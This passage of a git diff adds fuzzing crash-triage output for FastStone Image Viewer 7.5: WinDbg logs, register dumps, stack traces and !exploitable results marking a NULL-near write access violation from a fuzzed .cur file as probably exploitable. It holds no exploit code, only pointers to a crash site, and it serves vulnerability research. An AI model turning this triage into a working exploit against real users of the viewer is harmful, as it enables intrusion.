+EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3422/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3422/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..d97913a Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3422/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36074/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36074/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36074/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36074/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36074/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..ad06163 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36074/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36074/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36074/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..2095edd --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36074/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x518: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x518: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73da0000 00000000`73f04000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73bc0000 00000000`73da0000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(518.127c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e67b19 edx=00000000 esi=00000000 edi=0fd1afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.721343803397653600000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 8.522760000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-4.88221e-033 -3.88319e+009 6.70415e+022 -1.67688e-020 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f48130 07ec5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00233000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00233000 a6e9ca18 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c4 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00233000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36074/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36074/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..2095edd --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36074/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x518: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x518: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73da0000 00000000`73f04000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73bc0000 00000000`73da0000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(518.127c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e67b19 edx=00000000 esi=00000000 edi=0fd1afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.721343803397653600000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 8.522760000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-4.88221e-033 -3.88319e+009 6.70415e+022 -1.67688e-020 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f48130 07ec5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00233000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00233000 a6e9ca18 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c4 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00233000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV 